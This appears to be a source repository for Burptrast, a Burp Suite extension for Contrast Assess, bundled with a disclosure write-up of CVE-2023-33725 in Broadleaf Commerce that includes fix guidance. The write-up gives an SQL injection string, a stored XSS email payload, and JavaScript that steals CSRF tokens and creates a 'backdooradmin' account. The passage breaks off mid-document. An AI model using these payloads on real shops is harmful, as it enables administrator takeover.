├── .github
└── dependabot.yml
├── .gitignore
├── Contrast-Community-Edition.md
├── LICENSE
├── README.md
├── contrast_security.yaml
├── docs
└── CVE-2023-33725
│ ├── Dockerfile
│ ├── README.md
│ ├── contrast_security.yaml
│ ├── screenshots
│ ├── Screenshot 2023-04-26 at 12.44.22.png
│ ├── Screenshot 2023-04-26 at 13.05.07.png
│ ├── Screenshot 2023-04-26 at 13.30.51.png
│ ├── Screenshot 2023-04-26 at 13.46.49.png
│ ├── Screenshot 2023-04-26 at 13.47.23.png
│ ├── Screenshot 2023-04-26 at 13.48.02.png
│ ├── Screenshot 2023-04-26 at 13.49.07.png
│ ├── Screenshot 2023-04-26 at 13.54.58.png
│ ├── Screenshot 2023-04-26 at 13.56.01.png
│ ├── Screenshot 2023-04-26 at 15.09.33.png
│ ├── Screenshot 2023-04-26 at 15.10.57.png
│ └── Screenshot 2023-04-26 at 15.40.04.png
│ ├── site-pom.xml
│ └── start.sh
├── pom.xml
├── screenshots
├── burp-app-select.png
├── burp-update.png
├── burp1.png
├── burp2.png
├── burp3.png
├── burp4.png
├── configure-agent-1.png
├── cred-tab.png
├── creds.png
├── screenshot.png
└── signup.png
└── src
├── main
└── java
│ ├── burp
│ ├── BurpExtender.java
│ ├── Components.java
│ ├── ContrastTab.java
│ ├── CorrelationIDAppender.java
│ ├── CredentialsTab.java
│ ├── DataModel.java
│ ├── EditableHeaderRenderer.java
│ ├── NonEditableTableModel.java
│ ├── ParentTab.java
│ ├── PathTracePair.java
│ ├── PortResolver.java
│ ├── RouteTable.java
│ ├── RouteTableComparator.java
│ ├── ScanIssue.java
│ ├── SiteMapImporter.java
│ ├── Status.java
│ ├── StatusUpdater.java
│ ├── ThreadManager.java
│ └── VulnTableResult.java
│ └── com
│ └── contrast
│ ├── HTMLSanitiser.java
│ ├── HttpService.java
│ ├── Logger.java
│ ├── RequestResponse.java
│ ├── RequestResponseGenerator.java
│ ├── SortByAppNameComparator.java
│ ├── SortByLastSeenComparator.java
│ ├── SortType.java
│ ├── TSCreds.java
│ ├── TSReader.java
│ ├── TSVulnLinkGenerator.java
│ ├── YamlReader.java
│ ├── YamlWriter.java
│ ├── mapper
│ ├── ConfidenceMapper.java
│ ├── IssueTypeMapper.java
│ └── SeverityMapper.java
│ ├── model
│ ├── APIKey.java
│ ├── Route.java
│ ├── RouteCoverage.java
│ ├── RouteCoverageObservationResource.java
│ ├── Routes.java
│ ├── ServiceKey.java
│ └── TraceIDDecoractedHttpRequestResponse.java
│ └── threads
│ ├── BrowseVulnCheckThread.java
│ ├── CredentialsRetrieverThread.java
│ ├── ImportRoutesToSiteMapThread.java
│ ├── RefreshAppIDsThread.java
│ ├── RefreshOrgIDsThread.java
│ ├── StoppableThread.java
│ ├── TSURLSanitiser.java
│ ├── UpdateRouteTableThread.java
│ └── UpdateTraceTableThread.java
└── test
├── java
├── burp
│ ├── PortResolverTest.java
│ ├── RouteTableComparatorTest.java
│ ├── TestSiteMapImporter.java
│ └── TestableCallBack.java
└── com
│ └── contrast
│ ├── HTMLSanitiserTest.java
│ ├── RequestResponseGeneratorTest.java
│ ├── SortByAppNameComparatorTest.java
│ ├── SortByLastSeenComparatorTest.java
│ ├── TSVulnLinkGeneratorTest.java
│ ├── YamlReaderTest.java
│ ├── YamlWriterTest.java
│ └── threads
│ └── TSURLSanitiserTest.java
└── resources
└── contrast_security.yaml
/.github/dependabot.yml:
--------------------------------------------------------------------------------
1 | # To get started with Dependabot version updates, you'll need to specify which
2 | # package ecosystems to update and where the package manifests are located.
3 | # Please see the documentation for all configuration options:
4 | # https://docs.github.com/github/administering-a-repository/configuration-options-for-dependency-updates
5 |
6 | version: 2
7 | updates:
8 | - package-ecosystem: "" # See documentation for possible values
9 | directory: "/" # Location of package manifests
10 | schedule:
11 | interval: "weekly"
12 |
13 |
--------------------------------------------------------------------------------
/.gitignore:
--------------------------------------------------------------------------------
1 | .idea/
2 | target/
--------------------------------------------------------------------------------
/Contrast-Community-Edition.md:
--------------------------------------------------------------------------------
1 |
2 | # Burptrast & Contrast Community Edition
3 | Contrast has a free Community Edition of Assess that can be used in conjunction with Burptrast. While this is limited to a Single application and supports only Java, .NET Core or Node applications. It gives you the ability to try out the Assess/Burptrast for free.
4 |
5 | ## Signup
6 | To setup go to https://www.contrastsecurity.com/contrast-community-edition and sign up at the bottom of the page.
7 | 
8 | A link will be sent to you to create a password ( This can take several minutes ).
9 |
10 | ### Configure your application
11 | You will need to add the Agent to the application you wish to instrument. Details of this are available for [Java](https://docs.contrastsecurity.com/en/install-the-java-agent.html) and [.NET Core](https://docs.contrastsecurity.com/en/install--net-core.html) , you will need to add the Assess agent to the application, start up the application and then jump to the section of this document "Configuring Burptrast"
12 | Or if you wish to trial this with [PetClinic](https://github.com/Contrast-Security-OSS/demo-petclinic) which is an intentionally vulnerable Spring Application we have developed, follow these steps.
13 |
14 | Login to https://ce.contrastsecurity.com . If this is the first login, select configure agent. If you reach the main dashboard click the Plus sign ( + ) at the top right of the page.
15 | 
16 | Select Java from the dropdown and click "Download the Java contrast_security.yaml"
17 | This file contains the details the agent needs to report results back to TeamServer. It should look like this
18 |
19 | **contrast_security.yaml**
20 | ```
21 | api:
22 | url: https://ce.contrastsecurity.com/Contrast
23 | api_key: XXXXXXXXX
24 | service_key: XXXXXXXXX
25 | user_name: agent_XXXXXXXXX
26 | ```
27 | Download the agent jar file, there are a few ways, but there is a direct link to the contrast.jar file at the bottom of the page. Or you can the contrast.jar from maven https://mvnrepository.com/artifact/com.contrastsecurity/contrast-agent
28 |
29 | #### Petclinic
30 |
31 | Clone the petclinic application
32 | ```
33 | git clone https://github.com/Contrast-Security-OSS/demo-petclinic.git
34 | ```
35 | There are several ways to run the application, the petclinic readme gives the details.
36 | Assuming you have docker installed, the easiest way is to follow the Running in Docker part of the Petclinic readme
37 |
38 | Copy the contrast_security.yaml file to the root of the petclinic project e.g
39 | ```
40 | cp contrast_security.yaml demo-petclinic/
41 | ```
42 | Build the docker image
43 | ```
44 | cd demo-petclinic/
45 | ./1-Build-Docker-Image.sh
46 | ```
47 |
48 |
49 | #### Run Petclinic
50 |
51 | **Please Note, running the application will use up your single Application license .**
52 | If you wish to instrument another application you would need to contact Contrast to get a license, or create another CE addition account.
53 | ```
54 | docker run -v $PWD/contrast_security.yaml:/etc/contrast/java/contrast_security.yaml -p 8080:8080 spring-petclinic:1.5.1
55 | ```
56 | Once started it should be available on [http://localhost:8080/]()
57 |
58 | ### Configuring Burptrast
59 |
60 | Once you have the instrumented application running, Install Burptrast into Burp, see the README.md for details.
61 | #### Login
62 | Go to the credentials tab
63 | 
64 |
65 | Select Teamserver URL https://ce.contrastsecurity.com/Contrast from the Dropdown
66 | Enter your email and password and press login.
67 | The Status should change from "Awaiting Credentials" to "Ready".
68 | If you don't wish to login each time, you can save the credentials to disk.
69 | This does not store your password, but instead stores the API and Service Key into a file. If you do this it is your responsibility to store this file securely.
70 | Then when you need to connect again, you can select the Credentials file instead of logging in.
71 |
72 | #### Use Burptrast
73 | Under the Contrast tab from the Application Drop down select your application in this case "spring-petclinic" from the application name drop down.
74 | 
75 | Then select Update.
76 | Burptrast will retrieve the list of known vulnerabilities from Teamserver as well as a list of routes, including HTTP Verb type and path parameter into the application.
77 | 
78 | To start with we can see the list of Routes on the right hand table, these routes will be imported to the Burp Site Map when you select the "Import Routes to Site Map" button. This gives burp the locations of the endpoints within the application, which Burp can then scan.
79 | The Trace table only contains a single vulnerability ( for now ). As the Assess instrumented application is exercised, more vulnerabilities will be found.
80 |
81 | Select "Live Browsing". This will add a correlation header to all outbound requests from the Burp Proxy to the application. And as vulnerabilities are found, the correlation id will be used to link it back to this Burp Session and it will show up immediately in the Burp Issues tab.
82 | Select Import Routes to Site Map.
83 | Once done you are ready to access the application via Burp's Proxy.
84 | 
85 | As you exercise the application via Burp's Proxy, Assess will be running within the target application, as Assess finds vulnerabilities those will appear in the Burp Issues tab, linked to the original HTTP request that triggered that vulnerability.
86 | You can see one ( of a few ) vulnerabilities found by Assess by browsing to http://localhost:8080/owners/find ( in a browser using the burp proxy)
87 | 
88 | Enter any text you like and press "Find Owner"
89 | No owner will be found. But by searching for an Owner you will exercise the application, Assess's instrumentation will track the request through the application and should find a HQL ( SQLi ) injection vulnerability, if Live Browsing is enabled, should show up in Burp's Issues Tab within about 5 seconds.
90 | 
91 | The Advisory gives detailed information on the underlying vulnerability, the entry point into the application the data sent to the application and the sink the data ends up in and the SQL Query that was generated. Along with Issue background and links to more information about it that is available on Teamserver.
92 |
93 | 
94 | By clinking on the Vulnerability Details and going to the details tab we can see the entire trace through the application from the web entrypoint to where it hits the database. As well as that the vulnerability is in the OwnerRepositoryCustomImpl.java:22
95 | When we look at the code we can see that on line 22 the lastname parameter is concatenated with the SQL Query leading to the SQL Injection.
96 |
97 | Using this information it becomes trivial to write to inject our own query that subverts the logic.
98 |
99 | ``test' OR 1 = '1``
100 | Which returns all users.
101 |
102 | SQL Injection is just one of several dozen rules in Assess, which supports multiple languages and frameworks. Using Assess along with Burp can dramatically improve your Pentest findings where you are able to instrument the underlying application.
103 |
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | Apache License
2 | Version 2.0, January 2004
3 | http://www.apache.org/licenses/
4 |
5 | TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
6 |
7 | 1. Definitions.
8 |
9 | "License" shall mean the terms and conditions for use, reproduction,
10 | and distribution as defined by Sections 1 through 9 of this document.
11 |
12 | "Licensor" shall mean the copyright owner or entity authorized by
13 | the copyright owner that is granting the License.
14 |
15 | "Legal Entity" shall mean the union of the acting entity and all
16 | other entities that control, are controlled by, or are under common
17 | control with that entity. For the purposes of this definition,
18 | "control" means (i) the power, direct or indirect, to cause the
19 | direction or management of such entity, whether by contract or
20 | otherwise, or (ii) ownership of fifty percent (50%) or more of the
21 | outstanding shares, or (iii) beneficial ownership of such entity.
22 |
23 | "You" (or "Your") shall mean an individual or Legal Entity
24 | exercising permissions granted by this License.
25 |
26 | "Source" form shall mean the preferred form for making modifications,
27 | including but not limited to software source code, documentation
28 | source, and configuration files.
29 |
30 | "Object" form shall mean any form resulting from mechanical
31 | transformation or translation of a Source form, including but
32 | not limited to compiled object code, generated documentation,
33 | and conversions to other media types.
34 |
35 | "Work" shall mean the work of authorship, whether in Source or
36 | Object form, made available under the License, as indicated by a
37 | copyright notice that is included in or attached to the work
38 | (an example is provided in the Appendix below).
39 |
40 | "Derivative Works" shall mean any work, whether in Source or Object
41 | form, that is based on (or derived from) the Work and for which the
42 | editorial revisions, annotations, elaborations, or other modifications
43 | represent, as a whole, an original work of authorship. For the purposes
44 | of this License, Derivative Works shall not include works that remain
45 | separable from, or merely link (or bind by name) to the interfaces of,
46 | the Work and Derivative Works thereof.
47 |
48 | "Contribution" shall mean any work of authorship, including
49 | the original version of the Work and any modifications or additions
50 | to that Work or Derivative Works thereof, that is intentionally
51 | submitted to Licensor for inclusion in the Work by the copyright owner
52 | or by an individual or Legal Entity authorized to submit on behalf of
53 | the copyright owner. For the purposes of this definition, "submitted"
54 | means any form of electronic, verbal, or written communication sent
55 | to the Licensor or its representatives, including but not limited to
56 | communication on electronic mailing lists, source code control systems,
57 | and issue tracking systems that are managed by, or on behalf of, the
58 | Licensor for the purpose of discussing and improving the Work, but
59 | excluding communication that is conspicuously marked or otherwise
60 | designated in writing by the copyright owner as "Not a Contribution."
61 |
62 | "Contributor" shall mean Licensor and any individual or Legal Entity
63 | on behalf of whom a Contribution has been received by Licensor and
64 | subsequently incorporated within the Work.
65 |
66 | 2. Grant of Copyright License. Subject to the terms and conditions of
67 | this License, each Contributor hereby grants to You a perpetual,
68 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable
69 | copyright license to reproduce, prepare Derivative Works of,
70 | publicly display, publicly perform, sublicense, and distribute the
71 | Work and such Derivative Works in Source or Object form.
72 |
73 | 3. Grant of Patent License. Subject to the terms and conditions of
74 | this License, each Contributor hereby grants to You a perpetual,
75 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable
76 | (except as stated in this section) patent license to make, have made,
77 | use, offer to sell, sell, import, and otherwise transfer the Work,
78 | where such license applies only to those patent claims licensable
79 | by such Contributor that are necessarily infringed by their
80 | Contribution(s) alone or by combination of their Contribution(s)
81 | with the Work to which such Contribution(s) was submitted. If You
82 | institute patent litigation against any entity (including a
83 | cross-claim or counterclaim in a lawsuit) alleging that the Work
84 | or a Contribution incorporated within the Work constitutes direct
85 | or contributory patent infringement, then any patent licenses
86 | granted to You under this License for that Work shall terminate
87 | as of the date such litigation is filed.
88 |
89 | 4. Redistribution. You may reproduce and distribute copies of the
90 | Work or Derivative Works thereof in any medium, with or without
91 | modifications, and in Source or Object form, provided that You
92 | meet the following conditions:
93 |
94 | (a) You must give any other recipients of the Work or
95 | Derivative Works a copy of this License; and
96 |
97 | (b) You must cause any modified files to carry prominent notices
98 | stating that You changed the files; and
99 |
100 | (c) You must retain, in the Source form of any Derivative Works
101 | that You distribute, all copyright, patent, trademark, and
102 | attribution notices from the Source form of the Work,
103 | excluding those notices that do not pertain to any part of
104 | the Derivative Works; and
105 |
106 | (d) If the Work includes a "NOTICE" text file as part of its
107 | distribution, then any Derivative Works that You distribute must
108 | include a readable copy of the attribution notices contained
109 | within such NOTICE file, excluding those notices that do not
110 | pertain to any part of the Derivative Works, in at least one
111 | of the following places: within a NOTICE text file distributed
112 | as part of the Derivative Works; within the Source form or
113 | documentation, if provided along with the Derivative Works; or,
114 | within a display generated by the Derivative Works, if and
115 | wherever such third-party notices normally appear. The contents
116 | of the NOTICE file are for informational purposes only and
117 | do not modify the License. You may add Your own attribution
118 | notices within Derivative Works that You distribute, alongside
119 | or as an addendum to the NOTICE text from the Work, provided
120 | that such additional attribution notices cannot be construed
121 | as modifying the License.
122 |
123 | You may add Your own copyright statement to Your modifications and
124 | may provide additional or different license terms and conditions
125 | for use, reproduction, or distribution of Your modifications, or
126 | for any such Derivative Works as a whole, provided Your use,
127 | reproduction, and distribution of the Work otherwise complies with
128 | the conditions stated in this License.
129 |
130 | 5. Submission of Contributions. Unless You explicitly state otherwise,
131 | any Contribution intentionally submitted for inclusion in the Work
132 | by You to the Licensor shall be under the terms and conditions of
133 | this License, without any additional terms or conditions.
134 | Notwithstanding the above, nothing herein shall supersede or modify
135 | the terms of any separate license agreement you may have executed
136 | with Licensor regarding such Contributions.
137 |
138 | 6. Trademarks. This License does not grant permission to use the trade
139 | names, trademarks, service marks, or product names of the Licensor,
140 | except as required for reasonable and customary use in describing the
141 | origin of the Work and reproducing the content of the NOTICE file.
142 |
143 | 7. Disclaimer of Warranty. Unless required by applicable law or
144 | agreed to in writing, Licensor provides the Work (and each
145 | Contributor provides its Contributions) on an "AS IS" BASIS,
146 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
147 | implied, including, without limitation, any warranties or conditions
148 | of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
149 | PARTICULAR PURPOSE. You are solely responsible for determining the
150 | appropriateness of using or redistributing the Work and assume any
151 | risks associated with Your exercise of permissions under this License.
152 |
153 | 8. Limitation of Liability. In no event and under no legal theory,
154 | whether in tort (including negligence), contract, or otherwise,
155 | unless required by applicable law (such as deliberate and grossly
156 | negligent acts) or agreed to in writing, shall any Contributor be
157 | liable to You for damages, including any direct, indirect, special,
158 | incidental, or consequential damages of any character arising as a
159 | result of this License or out of the use or inability to use the
160 | Work (including but not limited to damages for loss of goodwill,
161 | work stoppage, computer failure or malfunction, or any and all
162 | other commercial damages or losses), even if such Contributor
163 | has been advised of the possibility of such damages.
164 |
165 | 9. Accepting Warranty or Additional Liability. While redistributing
166 | the Work or Derivative Works thereof, You may choose to offer,
167 | and charge a fee for, acceptance of support, warranty, indemnity,
168 | or other liability obligations and/or rights consistent with this
169 | License. However, in accepting such obligations, You may act only
170 | on Your own behalf and on Your sole responsibility, not on behalf
171 | of any other Contributor, and only if You agree to indemnify,
172 | defend, and hold each Contributor harmless for any liability
173 | incurred by, or claims asserted against, such Contributor by reason
174 | of your accepting any such warranty or additional liability.
175 |
176 | END OF TERMS AND CONDITIONS
177 |
178 | APPENDIX: How to apply the Apache License to your work.
179 |
180 | To apply the Apache License to your work, attach the following
181 | boilerplate notice, with the fields enclosed by brackets "[]"
182 | replaced with your own identifying information. (Don't include
183 | the brackets!) The text should be enclosed in the appropriate
184 | comment syntax for the file format. We also recommend that a
185 | file or class name and description of purpose be included on the
186 | same "printed page" as the copyright notice for easier
187 | identification within third-party archives.
188 |
189 | Copyright [yyyy] [name of copyright owner]
190 |
191 | Licensed under the Apache License, Version 2.0 (the "License");
192 | you may not use this file except in compliance with the License.
193 | You may obtain a copy of the License at
194 |
195 | http://www.apache.org/licenses/LICENSE-2.0
196 |
197 | Unless required by applicable law or agreed to in writing, software
198 | distributed under the License is distributed on an "AS IS" BASIS,
199 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
200 | See the License for the specific language governing permissions and
201 | limitations under the License.
202 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # Burptrast
2 |
3 | Burptrast is designed to pull endpoint information from Teamserver and import it into Burp's sitemap.
4 | The endpoints come from two sources.
5 | * Assess Vulnerability information.
6 | * Endpoints detected by the agent.
7 |
8 | The full HTTP Request that generated the Vulnerability is stored in TS and is available via the API. This is imported into Burp. While there is likely to be relatively few of these, they do have the advantage of having the information required to trigger the endpoint. Request/Path Params, Message Body etc.
9 | Endpoints detected by the agent will only have the Path and the HTTP Method ( if you are lucky ). But you are more likely to get all of the endpoints for this application. Hopefully more endpoint information can be gathered by the agent in the future.
10 |
11 | ## CVE-2023-22725
12 | To see what Burptrast can do see [README.md](docs%2FCVE-2023-33725%2FREADME.md) for details of a XSS to Admin Account Takeover in the Broadleaf Ecommerce platform.
13 |
14 | ## Live Browsing
15 | Live Browsing when enabled, allows you to explore the application via the Burp proxy and get real time feedback from Assess.
16 | It works by adding a Correlation ID Header to every HTTP request, when a vulnerability is found in Assess that is linked to one
17 | of your HTTP requests, it is automatically added to the Burp Issue tab within a few seconds of the request being made, giving near
18 | realtime feedback of your exploration / pentest from Assess directly into your Burp UI.
19 |
20 | To use this feature you need to do the following.
21 | * Select the Application in the Application drop down.
22 | * Enable Live Browsing
23 | * Browse the application via the Burp Proxy
24 |
25 |
26 | ## Build
27 | Requires Java 11+
28 |
29 | To build run
30 | ```
31 | mvn clean install
32 | ```
33 | Import the jar file named Burptrast-1.0-SNAPSHOT-jar-with-dependencies.jar into Burp as an extension.
34 |
35 | ### Teamserver API Credentials
36 | You will need your TS API Creds in a yaml file. This looks like this
37 | ```
38 | api:
39 | url: https://example.contrastsecurity.com/Contrast
40 | api_key: aaabbbccc
41 | service_key: aaabbbcccddd
42 | user_name: aaabbbccc@ContrastSecurity
43 | ```
44 | This is your API credentials. Not what is used by the Agent.
45 | This file is added in the Burptrast UI Tab in Burp.
46 | To get your API Credentials, go to the user settings section of Teamserver as you can see below.
47 | 
48 |
49 |
50 | ### Corporate Proxies
51 | Burptrast requires access to the Teamserver API to function. If you need to use a Proxy to access Teamserver you can do
52 | so by configuring Burp's Upstream Proxy or SOCKS proxy ( this is different to Burps local proxy listener ) . This is available
53 | under Settings -> Network -> Connections . More details can be found here https://portswigger.net/burp/documentation/desktop/settings/network/connections#upstream-proxy-servers
54 | Once configured connections to Teamserver API by Burptrast will go via this proxy.
55 |
56 |
57 |
58 |
59 | 
60 |
61 |
62 |
--------------------------------------------------------------------------------
/contrast_security.yaml:
--------------------------------------------------------------------------------
1 | api:
2 | url: https://example.contrastsecurity.com/Contrast
3 | api_key: aaabbbccc
4 | service_key: aaabbbcccddd
5 | user_name: aaabbbccc@ContrastSecurity
--------------------------------------------------------------------------------
/docs/CVE-2023-33725/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM openjdk:11
2 |
3 | RUN mkdir /workspace
4 | COPY start.sh /workspace/
5 | COPY contrast_security.yaml /workspace/
6 | RUN chmod +x /workspace/start.sh
7 | ADD https://repo1.maven.org/maven2/com/contrastsecurity/contrast-agent/4.13.1/contrast-agent-4.13.1.jar /workspace/contrast.jar
8 | RUN adduser flibber
9 | RUN chown -R flibber /workspace
10 | USER flibber
11 | WORKDIR /workspace
12 | RUN git clone https://github.com/BroadleafCommerce/DemoSite.git
13 | WORKDIR DemoSite
14 | RUN git checkout 369d26c
15 | COPY site-pom.xml /workspace/DemoSite/site/pom.xml
16 | RUN ./mvnw clean install
17 |
18 | CMD /workspace/start.sh
--------------------------------------------------------------------------------
/docs/CVE-2023-33725/README.md:
--------------------------------------------------------------------------------
1 | # CVE-2023-33725 XSS Vulnerability leading to Admin Account on Broadleaf ECommerce Sites
2 |
3 | ### Broadleaf Background Info
4 | Broadleaf is a Open source/Commerical E Commerce framework based on Spring/Thymeleaf Broadleaf Commerce All work below is done on their Demo application, but the vulnerabilities are in the underlying framework, the demo site is a thin layer built on top of the Broadleaf framework to showcase it.GitHub - BroadleafCommerce/DemoSite: The Broadleaf Heat Clinic Spring Boot application
5 |
6 | The site is split into 2 different applications I'm focussing on.
7 |
8 | **Site** : Which is the customer facing storefront.
9 |
10 | **Admin** : Which is the backend admin interface used to administer the store, add/remove items, change prices etc.
11 |
12 | **Burptrast**
13 | The Burptrast plugin was used to find the initial vulnerability, the Broadleaf Demo application was instrumented with Assess, which is provided to Burp via the Burptrast plugin.
14 |
15 | ### Finding
16 | **TLDR;** CVE-2023-33725. A XSS Vulnerability in the email field allows JS injection within the checkout page of the Site. But more seriously the same vulnerability appears in the Admin site. Allowing a Customer to register with the website, with a email address containing a XSS attack, when a Admin logs into the Admin site and views the list of customers, the XSS is triggered, which in turn creates a new Admin user, allowing the attacker to login a site Admin.
17 | #### Remediation
18 | ##### Fix
19 | CVE-2023-33725 has been fixed in broadleaf-6.2.6.1-GA if you are using an earlier version it is important to update as soon as possible.
20 |
21 | ##### Mitigation
22 |
23 | If you cannot upgrade your Ecommerce site quickly, it is possible to mitigate this vulnerability by enabling XSS protections provided by broadleaf ( They are not enabled by default in the demo )
24 | ```properties
25 | exploitProtection.xssEnabled=true
26 | exploitProtection.xsrfEnabled=true
27 | blc.site.enable.xssWrapper=true
28 | ```
29 | Of if you have this enabled already, you are safe from this vulnerability.
30 |
31 | ### Setup
32 |
33 | #### Configuration Files
34 |
35 | ##### Agent Config
36 | If you use either Docker or Manual you will first need a contrast_security.yaml file.
37 | Details of how to do this are under the **contrast_security.yaml** section of [Contrast-Community-Edition.md](..%2F..%2FContrast-Community-Edition.md)
38 | Once you have the credentials from the config file, copy the **api :** section into the contrast_security.yaml file in this directory and point the agent at that file.
39 |
40 | ##### Burptrast Config
41 | Details of how to configure Burptrast are available under [README.md](..%2F..%2FREADME.md)
42 |
43 | #### Docker
44 | Once you have added your TeamServer Credentials to contrast_security.yaml, details above. Run the following command
45 | docker commands from this directory.
46 |
47 | ```
48 | docker build -t cve-2023-33725 .
49 | docker run -p 8443:8443 -p 8444:8444 cve-2023-33725
50 | ```
51 | The build command may take a few minutes to run.
52 | Once running you should be able to access the demo site under
53 | https://localhost:8443
54 | And the admin site under https://localhost:8444
55 |
56 |
57 | #### Manual
58 | **Prerequisities**
59 | * Java 11
60 | * Maven
61 | * Git
62 |
63 | Clone the Broadleaf Demo site from github.
64 |
65 | ##### Checkout
66 |
67 | `git clone https://github.com/BroadleafCommerce/DemoSite.git
68 | `
69 | Cd into the directory, roll back to the vulnerable version and build
70 | ```cd DemoSite
71 | cd DemoSite
72 | git checkout 369d26c
73 | mvn clean install
74 | ```
75 | ##### Add Assess
76 | Edit the pom.xml file under DemoSite/site/pom.xml
77 |
78 | And modify the properties to
79 | ```
80 |
81 | 8000
82 | -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005 -javaagent:/location/to/assess/agent/jar/contrast-agent-4.13.1.jar -Dcontrast.config.path=/location/to/contrast/config/contrast_security.yaml
83 |
84 | ```
85 | **-javaagent** is the location of the contrast jar file. It can be downloaded fom maven https://repo1.maven.org/maven2/com/contrastsecurity/contrast-agent/4.13.1/contrast-agent-4.13.1.jar
86 |
87 | **-Dcontrast.config.path** is the location of the contast agent config file. This is used to configure and authenticate the agent against TeamServer.
88 |
89 | ##### Build
90 | To build under DemoSite run the command
91 | `mvn clean install`
92 | Then to start up the site application run the following command from the DemoSite/site directory.
93 | ````
94 | cd site/
95 | mvn spring-boot:run
96 | ````
97 | Once this has started up, from another terminal start up the admin application. This is run from the DemoSite/admin diretory.
98 | ````
99 | cd admin/
100 | mvn spring-boot:run
101 | ````
102 | Once running you should be able to access the demo site under
103 | https://localhost:8443
104 | And the admin site under https://localhost:8444
105 |
106 | ### Burptrast
107 |
108 | Full details of how to use Burptrast can be found here [README.md](..%2F..%2FREADME.md)
109 |
110 | Once installed and configured, select the broadleaf-demo application from the list of applications and select update. You should see a large number of routes, these will be imported into the sitemap.
111 |
112 | But before that, set the URL path to https localhost 8443 . As this is the URL we will be testing the application from.
113 | 
114 |
115 | Then select Live Browse and Then Import Routes to Site Map. This will add all these routes to Burp’s sitemap making it easier for Burp to find vulnerabilities.
116 |
117 | ## Pentest
118 | ### Finding the Vulnerability
119 | The Stored XSS vulnerability was first found by running a regular business flow of the site.
120 |
121 | * Select an Item
122 | * Add it to the Basket
123 | * Checkout as Guest
124 | * “Pay”
125 |
126 | 
127 |
128 | With Burptrast, findings in Assess triggered by a request from the Burp Proxy are automatically correlated with the session that made them and show up in Burp’s issue tab.
129 |
130 | In this case the email address that was added at checkout, was tracked by Assess, saved to the underlying database, then on a following page it was returned to the user without any encoding to mitigate a potential XSS vulnerability.
131 |
132 | ### Verifying the Vulnerability
133 | While Assess showed that the value originating from a potential attacker, entered the database and was returned in a way that allows for a Stored XSS vulnerability, it could be that there are some validation or encoding that is done that Assess missed. Also as an email field, it is limited in what can be entered.
134 |
135 | First, create a non guest customer account, this will be easier to verify this issue and more likely to be persistent than a guest user checkout.
136 |
137 | 
138 |
139 | Then once logged in we can edit the email address field on the profile. This XSS in a valid email address is from XSS in [Email Login Fields](https://raghavendrap120.medium.com/xss-in-email-login-fields-e7ad11a3e705):
140 |
141 | `">"@gmail.com`
142 | Which fails due to client side validation
143 | 
144 |
145 | But by modifying a valid email change request in burp
146 | ( you need to use the url encoded version of the payload which is
147 | `%60%22%3E%3Csvg%2Fonload%3Dalert%281%29%3E%22%40gmail.com%60`
148 | )
149 |
150 |
151 | 
152 |
153 | We bypass the client side validation and get
154 | 
155 | And we can verify the vulnerability by going to the checkout page.
156 |
157 | 
158 |
159 | ### Exploiting the Vulnerability
160 | So we have a verified XSS Vulnerability, with which you can annoy yourself. But what else can it do?
161 |
162 | There is a separate Admin site running on https://localhost:8444/admin
163 |
164 | ( default credentials for the demo site are admin:admin )
165 |
166 | 
167 |
168 | By going to customers page we immediately see that the admin site is vulnerable as it displays the signed up customer's email addresses and as this impacts the site admin we should be able to further leverage this XSS.
169 | 
170 |
171 | #### Creating an Admin Account via XSS
172 |
173 | Under https://localhost:8444/admin/user-management we have the ability of creating new admin users.
174 | 
175 |
176 | This generates a POST request we can replicate within the XSS.
177 |
178 | 
179 |
180 | But there is an issue, there are two tokens within the request, a CSRFToken and StateVersionToken. If we want to create a new admin user we also need to find these tokens.
181 |
182 | These tokens reside within the HTML of the generated page. So sending a GET request to /admin/user-management which doesn't change the application state and therefore doesn’t require a token, reveals the tokens.
183 |
184 | ```javascript
185 | function getTokenJS() {
186 | var xhr = new XMLHttpRequest();
187 | xhr.responseType = "document";
188 | xhr.open("GET", "/admin/user-management", true);
189 | xhr.onload = function (e) {
190 | if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
191 | page = xhr.response
192 | csrf = page.getElementsByName("csrfToken");
193 | state = page.getElementsByName("stateVersionToken");
194 | console.log("The token is: " + csrf[0].value);
195 | console.log("The state is: " + state[0].value);
196 | submitFormWithTokenJS(csrf[0].value, state[0].value);
197 | }
198 | };
199 | xhr.send(null);
200 | }
201 | ```
202 |
203 | This retrieves the CSRF and State tokens.
204 |
205 | The next function takes the tokens and embeds them into the POST request to add the new admin user.
206 |
207 | ```javascript
208 | function submitFormWithTokenJS(token, state) {
209 | const username = "backdooradmin";
210 |
211 | var xhr = new XMLHttpRequest();
212 | xhr.open("POST", "/admin/user-management/add", true);
213 | xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
214 | xhr.responseType = "document";
215 | xhr.onreadystatechange = function() {
216 | if(xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
217 | console.log(xhr.responseURL)
218 | var result = /[^/]*$/.exec(xhr.responseURL)[0];
219 | addAdminAccess(token,state,result);
220 | }
221 | }
222 | xhr.send("ceilingEntityClassname=org.broadleafcommerce.openadmin.server.security.domain.AdminUser&entityType=org.broadleafcommerce.openadmin.server.security.domain.AdminUserImpl&id=§ionCrumbs=&mainEntityName=&preventSubmit=false&jsErrorMapString=&fields%5B'name'%5D.value="+username+"&fields%5B'login'%5D.value="+username+"&fields%5B'email'%5D.value="+username+"%40example.com&fields%5B'phoneNumber'%5D.value=&fields%5B'password'%5D.value="+username+"&fields%5B'passwordConfirm'%5D.value="+username+"&fields%5B'activeStatusFlag'%5D.value=true&fields%5B'auditable__createdBy'%5D.value=&fields%5B'auditable__dateCreated'%5D.value-display=&fields%5B'auditable__dateCreated'%5D.value=&fields%5B'auditable__updatedBy'%5D.value=&fields%5B'auditable__dateUpdated'%5D.value-display=&fields%5B'auditable__dateUpdated'%5D.value=&csrfToken="+token+"&stateVersionToken="+state);
223 | }
224 | ```
225 |
